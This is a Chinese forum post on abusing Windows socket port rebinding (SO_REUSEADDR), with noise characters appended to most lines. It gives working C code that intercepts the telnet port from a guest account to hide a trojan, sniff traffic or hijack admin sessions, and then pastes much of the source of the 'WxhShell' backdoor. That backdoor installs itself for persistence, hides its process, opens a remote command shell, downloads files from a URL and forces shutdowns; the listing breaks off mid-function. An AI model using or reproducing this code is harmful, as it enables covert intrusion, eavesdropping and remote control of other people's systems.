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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K`cy97  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {?uswbk.  
~#JX 0J=  
  saddr.sin_family = AF_INET; |Fzt| \  
&. "ltB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $K!6T  
3WY:Fn+#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `b[@GGv  
:,MI,SwnS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~*G}+Ur$2  
z&A# d  
  这意味着什么?意味着可以进行如下的攻击: KRj3??b  
tqOx8%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4_vJ_H-mO,  
] iiB|xT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2}#VB;B  
-"n8Wv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >  ,P,{"  
f.U.(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7, :l\t  
:N:e3$c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4yRX{Bl|  
8)&J oPN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !Y]%U @4}  
7e<\11uI]a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M0uC0\' #P  
KKJa?e`C  
  #include ~ouRDO  
  #include lKy4Nry9  
  #include 1?#Wg>7'  
  #include    c}#(,<8X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @-}!o&G0  
  int main() Z+! 96LR  
  { q3Y49d  
  WORD wVersionRequested; _1HEGX\  
  DWORD ret; !o/;"'&E  
  WSADATA wsaData; Yk#$-"c/a  
  BOOL val; ' ui`EL%  
  SOCKADDR_IN saddr; &ETPYf%#  
  SOCKADDR_IN scaddr; 8'mm<BV;sT  
  int err; ;5}y7#4C  
  SOCKET s; %J|xPp)  
  SOCKET sc; 5?gZw;yiv%  
  int caddsize; 5lakP?  
  HANDLE mt; &Zm1(k6&K  
  DWORD tid;   /)xQ# yfX  
  wVersionRequested = MAKEWORD( 2, 2 ); 0:k MnHn\  
  err = WSAStartup( wVersionRequested, &wsaData ); 0XrOOYmx  
  if ( err != 0 ) { ))#_@CwRr  
  printf("error!WSAStartup failed!\n"); BjbpRQ,  
  return -1; '3ZYoA%  
  } >U') ICD~  
  saddr.sin_family = AF_INET; c jBHczkY  
   F5f1j]c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {]:B80I;2  
^]?Yd)v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kZvh<NFh_  
  saddr.sin_port = htons(23); J~rjI24  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \b|Q`)TK  
  { |0a GX]Y  
  printf("error!socket failed!\n"); .1?7)k v  
  return -1; <<9Y=%C+  
  } 3 p9LVa  
  val = TRUE; I}7= \S/@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rZ7)sE5L  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?anKSGfj  
  { +jz%:D  
  printf("error!setsockopt failed!\n"); I'16-  
  return -1; H.: [# a  
  } D z5(v1I9A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3` \)Qm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X+k`UM~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v@E/?\k"  
|oJ R+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v_ W03\  
  { |m>n4 -5QL  
  ret=GetLastError(); "]{"4qV1=  
  printf("error!bind failed!\n"); p` LPO  
  return -1; cK+y3`.0  
  } W/| C  
  listen(s,2); "J6 aU  
  while(1) >iB-gj}>X  
  { b'~IFNt*^  
  caddsize = sizeof(scaddr); i3\6*$Ug  
  //接受连接请求 7u7 <"?v=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ='|HUxFi  
  if(sc!=INVALID_SOCKET) VNLggeX'U  
  { n`)wD~mk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Zr@G  
  if(mt==NULL) PyfOBse}r  
  { Dhe ]f#d  
  printf("Thread Creat Failed!\n"); -,#LTW<.  
  break; z;En Ay{9  
  } *]_GFixi  
  } 4FgY!k  
  CloseHandle(mt); E$8 4c+  
  } /!Kl  
  closesocket(s); 7Y(ySW  
  WSACleanup(); P&@[ j0  
  return 0; ew cgg  
  }   kaj6C_k|  
  DWORD WINAPI ClientThread(LPVOID lpParam) x2g P, p-  
  { a0ze7F<(  
  SOCKET ss = (SOCKET)lpParam; ]tVXao  
  SOCKET sc; :-kXZe  
  unsigned char buf[4096]; IW'2+EGc  
  SOCKADDR_IN saddr; f@a@R$y  
  long num; iy_\1jB0  
  DWORD val; \3@AC7  
  DWORD ret; r'ydjy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5=.EngG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q#~]Hp=W5  
  saddr.sin_family = AF_INET; 35[8XD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'qg q8  
  saddr.sin_port = htons(23); mjqVP.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /RmHG H!  
  { O/=i'0X v  
  printf("error!socket failed!\n"); B:\TvWbu  
  return -1; /8` S}g+  
  } |<ZkJR3B  
  val = 100; grhwPnKl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 21BlLz  
  { 88ydAx#P  
  ret = GetLastError(); ^L<*ggw  
  return -1; 6uijxia  
  } 5Y&s+|   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z<F.0~)jb  
  { JDzk v%E^  
  ret = GetLastError(); d>Z{TFY  
  return -1; oGLSk (T&I  
  } 1!E+(Iq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k+S 6)BQ7U  
  { &,Xs=Lv mq  
  printf("error!socket connect failed!\n"); vx\h Njb  
  closesocket(sc); h?:lO3)TL=  
  closesocket(ss); z AxwM-`  
  return -1; q#RVi8('  
  } WqC6 c&NM  
  while(1) }hFjl4`xa  
  { E5M*Gs  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ),-4\!7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iM Xl}3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nV0"q|0K;  
  num = recv(ss,buf,4096,0); {Z_Pry$6  
  if(num>0) I/s?] v  
  send(sc,buf,num,0); 1& k_&o  
  else if(num==0) <'4DMZ-G  
  break; U!-|.N,  
  num = recv(sc,buf,4096,0); 7 '@l?u/6  
  if(num>0) 1lNg} !)[K  
  send(ss,buf,num,0); 9 0[gXj  
  else if(num==0) (r^IW{IndX  
  break;  /y,~?  
  } g'`J'6Pn  
  closesocket(ss); )]%GNdU  
  closesocket(sc); k:w\4Oqd  
  return 0 ; `C`_2y8  
  } h<9h2  
h(I~HZ[K&T  
d+|8({X]D8  
========================================================== 3X{=* wvt  
MQQ!@I`  
下边附上一个代码,,WXhSHELL [PrR 3 0:  
Kk~0jP_B9  
========================================================== f#l/N%VoBZ  
&Sc}3UI/F  
#include "stdafx.h" VPf*>ph=  
3Nh;^  
#include <stdio.h> 0rT-8iJp4P  
#include <string.h> {nbD5 ?   
#include <windows.h> E YUr.#:  
#include <winsock2.h> #TUsi,jG  
#include <winsvc.h> 1GW=QbO 6  
#include <urlmon.h> }@Oy kN  
H+; _fd  
#pragma comment (lib, "Ws2_32.lib") )*^PMf  
#pragma comment (lib, "urlmon.lib") hSD)|  
 { Lt \4h  
#define MAX_USER   100 // 最大客户端连接数 fj 19U9R  
#define BUF_SOCK   200 // sock buffer r&\}E+  
#define KEY_BUFF   255 // 输入 buffer E<a~ `e  
KTk%N p  
#define REBOOT     0   // 重启 =? xA*_^  
#define SHUTDOWN   1   // 关机 B{|P}fN5}  
c*_I1}l  
#define DEF_PORT   5000 // 监听端口 _-Aw`<_*-  
fZXJPy;n  
#define REG_LEN     16   // 注册表键长度 ?/{ qRz'C<  
#define SVC_LEN     80   // NT服务名长度 xGqe )M>8?  
q]5"V>D \  
// 从dll定义API FI~)ZhE)]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QHsS|\u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HF5aU:M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RH. oo&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mYb8   
^$_a_ft#  
// wxhshell配置信息 e9q/[xMi  
struct WSCFG { iYv6B6o/99  
  int ws_port;         // 监听端口 ^<<( }3  
  char ws_passstr[REG_LEN]; // 口令 5gV8=Ml"V  
  int ws_autoins;       // 安装标记, 1=yes 0=no ag?@5q3J}  
  char ws_regname[REG_LEN]; // 注册表键名 Eln"RKCt}9  
  char ws_svcname[REG_LEN]; // 服务名 {:Z#8dGe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S]1+tj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &tQ,2RT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'mug,jM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,I@4)RSAH|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "^<:7_Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .Kq>/6  
(XRj##G{  
}; dp2".  
bK("8T\?  
// default Wxhshell configuration S53 [Ja  
struct WSCFG wscfg={DEF_PORT, _>A])B ^  
    "xuhuanlingzhe", }k<b)I*A  
    1, R8\y|p#c  
    "Wxhshell", E] t:_v  
    "Wxhshell", J(M0t~RZ  
            "WxhShell Service", ez86+  
    "Wrsky Windows CmdShell Service", f8N  
    "Please Input Your Password: ", xvjHGgWSxc  
  1, r em&F'x0V  
  "http://www.wrsky.com/wxhshell.exe", *u7C){)gr[  
  "Wxhshell.exe" p0$K.f| ^  
    }; B {/Pv0y   
\9i.dF  
// 消息定义模块 klUxt?-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !U,qr0h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cPI #XPM=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L|6clGp  
char *msg_ws_ext="\n\rExit."; JeUFCWm  
char *msg_ws_end="\n\rQuit."; [4Glt>Nj>  
char *msg_ws_boot="\n\rReboot..."; F^T7u?^)  
char *msg_ws_poff="\n\rShutdown..."; J`}/+WN7  
char *msg_ws_down="\n\rSave to "; G+b$WQn2t  
@'R4zJ&+S  
char *msg_ws_err="\n\rErr!"; Y: KB"H  
char *msg_ws_ok="\n\rOK!"; 4m#i4  
< 5[wP)K@  
char ExeFile[MAX_PATH]; =[t([DG  
int nUser = 0; ,`/!0Wmt  
HANDLE handles[MAX_USER]; ui G7  
int OsIsNt; Fdu0?H2TL  
yKOf]m>#  
SERVICE_STATUS       serviceStatus; 5&2=;?EO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `W?aq]4x5  
2;[75(l6|}  
// 函数声明 *-_` xe  
int Install(void); ):LJ {.0R  
int Uninstall(void); IDE@{Dy  
int DownloadFile(char *sURL, SOCKET wsh); >V87#E  
int Boot(int flag); AUS?P t[w  
void HideProc(void); N.xmHvPk  
int GetOsVer(void); @/anJrt  
int Wxhshell(SOCKET wsl); 3'u%[bx E  
void TalkWithClient(void *cs);  T_jwj N  
int CmdShell(SOCKET sock); =#T6,[5  
int StartFromService(void); 5[X^1  
int StartWxhshell(LPSTR lpCmdLine); ;5"r)F+P  
]ueq&|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2d<ma*2n(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mk|h ><Q"  
'$1-A%e$1  
// 数据结构和表定义 F2oY_mA  
SERVICE_TABLE_ENTRY DispatchTable[] = &E {/s  
{ 6$)Yqg`X  
{wscfg.ws_svcname, NTServiceMain}, L V33vy  
{NULL, NULL} W|D'S}J  
}; g6QkF41nG  
Gu*;z% b2  
// 自我安装 faD(, H  
int Install(void) nsw.\(#  
{ s;8J= \9W  
  char svExeFile[MAX_PATH]; T"9`[Lzva  
  HKEY key; &ks>.l\  
  strcpy(svExeFile,ExeFile); a_QO)  
w|?Nq?KA  
// 如果是win9x系统,修改注册表设为自启动 NqhRJa63  
if(!OsIsNt) { R\0]\JEc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1ZhJ?PI,9{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :$/lGIz  
  RegCloseKey(key); ;13lu1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (.%:Q0i1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0~Yg={IKhK  
  RegCloseKey(key); bi KpV? Dp  
  return 0; I7BfA,mZ7  
    } H0tjN&O_  
  } )u\"xxcV  
} <&l3bL  
else { HewVwD<C  
Zn #ri 8S  
// 如果是NT以上系统,安装为系统服务 s( Kf%ZoE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GE~mu76%  
if (schSCManager!=0) KQ3)^J_Z  
{ |4X:>Ut]  
  SC_HANDLE schService = CreateService K.l?R#G`,F  
  ( z %+?\.oH  
  schSCManager, lOd[8|/  
  wscfg.ws_svcname, N ?V5gi  
  wscfg.ws_svcdisp, ^>g+:?x  
  SERVICE_ALL_ACCESS, y<)Lr}gP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JkQ4'$:  
  SERVICE_AUTO_START, ! ~&X1,l1*  
  SERVICE_ERROR_NORMAL, gA~Ih  
  svExeFile, oPzt1Y  
  NULL, fcJ#\-+E  
  NULL, `'Z ;+h]  
  NULL, Qkr'C n  
  NULL, z ; :E~;  
  NULL 7zR 7v  
  ); ' 'UiQ   
  if (schService!=0) 1__p1  
  { R8o9$&4_  
  CloseServiceHandle(schService); ru'Xet  
  CloseServiceHandle(schSCManager); B Sb!{|]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O_F<VV*MFQ  
  strcat(svExeFile,wscfg.ws_svcname); mjBXa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u@|GQXC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >L&>B5)9  
  RegCloseKey(key); 7F|T5[*l  
  return 0; 0p Lb<&  
    } r(cS{oni  
  } PJA 1/"  
  CloseServiceHandle(schSCManager); c/T]=S[  
} G;fP  
} apGf@b  
&)xoR4!2  
return 1; bmt2~!  
} c?<FMb3]  
rf)\:75  
// 自我卸载 5"XcVH4g  
int Uninstall(void) oh& P Q{  
{ {T:2+iS9:  
  HKEY key; ;zSh9H  
O;qS 3  
if(!OsIsNt) { *QjFrw3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )JuD !  
  RegDeleteValue(key,wscfg.ws_regname); o5Pq>Y2T  
  RegCloseKey(key); O^U{I?gQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wk8XD(&  
  RegDeleteValue(key,wscfg.ws_regname); T!v%NZj3  
  RegCloseKey(key); 9-bDgzk   
  return 0; Fm [,u  
  } uERc\TZ  
} ]dk~C?H  
} _h@e.BtDs  
else { p@r~L(>+3  
#[I`VA\x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n/^wzG  
if (schSCManager!=0) -I4@` V  
{ gR~XkU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xQaN\):^8  
  if (schService!=0) @xO< ~  
  { SwSBQq%h]M  
  if(DeleteService(schService)!=0) { z4{|?0=C  
  CloseServiceHandle(schService); Eer rIV  
  CloseServiceHandle(schSCManager); v9M ;W+J  
  return 0; "hs`Y4U  
  } #{ `(;83  
  CloseServiceHandle(schService); Nv #vfh9}P  
  } EVRg/ {X  
  CloseServiceHandle(schSCManager); ]'T-6  
} e7vPi QCc  
} GW` 9SB  
p1G!-\l  
return 1; Mg^GN -l  
} NbG3^(  
V/762&2X  
// 从指定url下载文件 \'E%ue_<9  
int DownloadFile(char *sURL, SOCKET wsh) /0"Y. @L  
{ /o8h1L=  
  HRESULT hr; 7c+TS--  
char seps[]= "/"; ";s?#c  
char *token; <K4'|HU/  
char *file; @uT\.W:Q2  
char myURL[MAX_PATH]; E(TL+o  
char myFILE[MAX_PATH]; 193Q  
nJ'O(Wh,)  
strcpy(myURL,sURL); pjHUlQ   
  token=strtok(myURL,seps); .rN 5A+By`  
  while(token!=NULL) g-Z>1V  
  { 0[9A*  
    file=token; ":eHR}Hzx  
  token=strtok(NULL,seps); XY0Gjo0  
  } $]xe,}*Af  
MH!'g7iK8  
GetCurrentDirectory(MAX_PATH,myFILE); d;;]+%  
strcat(myFILE, "\\"); R2t5T-8`c  
strcat(myFILE, file); gZ/M0px  
  send(wsh,myFILE,strlen(myFILE),0); /lAt&0  
send(wsh,"...",3,0); r+ v*(Tu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .xCO_7Rd  
  if(hr==S_OK) 3VA Lrb;  
return 0; m:Z=: -x  
else yWt87+%T  
return 1; V\)@Yk2  
SaQ_%-&#p  
} vPSH  
0'z$"(6D  
// 系统电源模块 !*+~R2&b  
int Boot(int flag) Yz.[CmdX  
{  SvDVxK  
  HANDLE hToken; GG%j+Ed  
  TOKEN_PRIVILEGES tkp; H%Q@DW8~@  
#N@sJyI N  
  if(OsIsNt) { VJZ   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EvQN(_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (ioi !p  
    tkp.PrivilegeCount = 1; ~i6tc d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3H@TvV/;f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,j9}VnW)  
if(flag==REBOOT) { R;'Pe>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UiaY0 .D  
  return 0; 6D3fkvc Z  
} /`}C~  
else { M,q'   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }|{yd03 +  
  return 0; Uhb6{'+  
} Z"% =  
  } s 6vsV  
  else { KuE 2a,E4  
if(flag==REBOOT) { rK}*Uwut  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r$R(4q:  
  return 0; (Dq3e9fX  
} j4+hWalm  
else { m cp}F|ws  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aq,&W q@  
  return 0; <iJ->$  
} )#IiHBF  
} aL+k1v[m  
FU5vo  
return 1; VX2bC(E'%  
} C03ehjT<  
@j5W4HU  
// win9x进程隐藏模块 552c4h/T  
void HideProc(void) EJb"/oLla  
{ "A,]y E  
tlI3jrgw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JU/K\S2%,  
  if ( hKernel != NULL ) |W`1#sP>  
  { C&Ow*~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [1 w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YeYFPi#  
    FreeLibrary(hKernel); h*h+VM  
  } byyz\>yAVq  
FyQ  
return; iV(B0z  
} Qh%7RGh_  
+cQ4u4  
// 获取操作系统版本 u5$\E]+ _  
int GetOsVer(void) q8P| ]  
{ =n i&*&  
  OSVERSIONINFO winfo; >umcpkp- h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )Xl/|YD  
  GetVersionEx(&winfo); -Ufd+(   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t 0nGZ%`  
  return 1; L8/o9N1  
  else j}#48{  
  return 0; - :*PXu  
} r >u0Y  
P_,f  
// 客户端句柄模块 ) ?+-Z2BwA  
int Wxhshell(SOCKET wsl) OT{qb!eYI  
{ #@ 3RYx  
  SOCKET wsh; Pm#B'N#*N|  
  struct sockaddr_in client; W>bhSKV%  
  DWORD myID; !+JSguy  
%* vYX0W"  
  while(nUser<MAX_USER) pj?+cy v~  
{ 3yZtyXRPn  
  int nSize=sizeof(client); (ZT*EFhb(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ol:,02E&  
  if(wsh==INVALID_SOCKET) return 1; P\*-n"  
?dC[VYC\^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o T5?*3f  
if(handles[nUser]==0) aq0J }4U  
  closesocket(wsh); = 14'R4:  
else ]J5[ZVz  
  nUser++; it D%sKo  
  } `i,ZwnLh{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %4imlP  
/vD5C  
  return 0; 3E y#?   
} Bwn9ZYu#r  
Tf21K9+`L  
// 关闭 socket )p(5$AR7  
void CloseIt(SOCKET wsh) \aU^c24>  
{ K>,Kbs=D6  
closesocket(wsh); Y%anR|  
nUser--; `m`jX|`  
ExitThread(0); *x)WF;(]g  
} M5: f^  
k_-=:(Z  
// 客户端请求句柄 3@XCP-`  
void TalkWithClient(void *cs) 9kH~+  
{ C>:F4"0  
}8fxCW*|  
  SOCKET wsh=(SOCKET)cs; N@58R9P<p  
  char pwd[SVC_LEN]; `IFt;Ja\6  
  char cmd[KEY_BUFF]; v}+axu/?  
char chr[1]; :BC 0f9  
int i,j; ;7K5Bo  
QKE$>G  
  while (nUser < MAX_USER) { ~ AS2$  
n<"?+bz"<  
if(wscfg.ws_passstr) { J=Ak+  J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B.'@~$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 43A6B  
  //ZeroMemory(pwd,KEY_BUFF); .hSacd  
      i=0; z%`Tf&UL  
  while(i<SVC_LEN) { 1LJ ?Ka[_*  
V4l`Alr\L  
  // 设置超时 [WRs1$5  
  fd_set FdRead; ryW1OV6?_0  
  struct timeval TimeOut; V%<<Udu<  
  FD_ZERO(&FdRead); !})/x~~e  
  FD_SET(wsh,&FdRead); *P61q\2Z  
  TimeOut.tv_sec=8; gD@ &/j7  
  TimeOut.tv_usec=0; q4xB`G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {5#P1jlT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F,11 \j  
$io-<Z#Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TEh]-x`  
  pwd=chr[0]; LCyci1\@  
  if(chr[0]==0xd || chr[0]==0xa) { -l`@pklQ  
  pwd=0; 6IctW5b  
  break; QKwWX_3%Z]  
  } J= ia  
  i++; x +q"%9.c  
    } Y H 2i V  
>#$( M5&}-  
  // 如果是非法用户,关闭 socket HvKueTQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XG<^j}H{}  
} i74^J+xk  
wTf0O@``6H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UacN'Rat  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E:D1ZV  
3+EJ%  
while(1) { v@XQ)95]F  
bL)g+<:F  
  ZeroMemory(cmd,KEY_BUFF); #h6(DuViKw  
;}A#ws_CD_  
      // 自动支持客户端 telnet标准   ]vXIj0:  
  j=0; ]n _-  
  while(j<KEY_BUFF) { PUltn}M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Vs/1y`()  
  cmd[j]=chr[0]; 3${?!OC  
  if(chr[0]==0xa || chr[0]==0xd) { Zj<oh8  
  cmd[j]=0; Zv7@  
  break; 0k:&7(j  
  } @E,{p"{  
  j++; 8MX/GF;F  
    } `RthX\Tof  
!V+5$TsS  
  // 下载文件 F}H!vh[  
  if(strstr(cmd,"http://")) { p$?c>lim  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~H@':Mms.h  
  if(DownloadFile(cmd,wsh)) y z9`1R2c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KfG%#2\G_  
  else _8 vxb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bjm`u3 A  
  } \#LKsQa  
  else { ,*E%D _  
J}._v\Q7P  
    switch(cmd[0]) { @tEVgyN  
  E;VBoN [  
  // 帮助 **_VNDK+  
  case '?': { $C9<{zX   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Co[[6pt~  
    break; g~FB&U4c  
  } u\t[rC=yd  
  // 安装 [O"i!AQ  
  case 'i': { 2O<S ig=  
    if(Install()) )P|%=laE8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >z>UtT:  
    else Mky$#SI11  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L9Fx Lw41  
    break; "'t<R}t!A  
    } p\+#`] Q7}  
  // 卸载 /D1Bf:'(  
  case 'r': { gW/H#T,  
    if(Uninstall()) ,=$yvZs4[]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _\@i&3hkx  
    else &U4]hawbOU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Cg;l<$`b  
    break; ]DmqhK`  
    } Qbl6~>T  
  // 显示 wxhshell 所在路径 W.MJyem  
  case 'p': { g+ 2SB5 2D  
    char svExeFile[MAX_PATH]; vbDw2  
    strcpy(svExeFile,"\n\r"); `c:'il?  
      strcat(svExeFile,ExeFile); )@R:$l86  
        send(wsh,svExeFile,strlen(svExeFile),0); }^`{YD  
    break; Gk[P-%%b /  
    } 3-o ]H'6  
  // 重启 Cf`UMQ a  
  case 'b': { \M>AN Z}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <( BAws(X  
    if(Boot(REBOOT)) YLSG 5vF+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3qpk Mu3  
    else { _JR4 PKtx  
    closesocket(wsh); hZ2PP ^  
    ExitThread(0); 'kH#QO\(e"  
    } JYv&It  
    break; ;Jx ^  
    } OR?8F5o?p  
  // 关机 /jj!DO#  
  case 'd': { _x UhDu%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (/k,q  
    if(Boot(SHUTDOWN)) (]7@0d88  
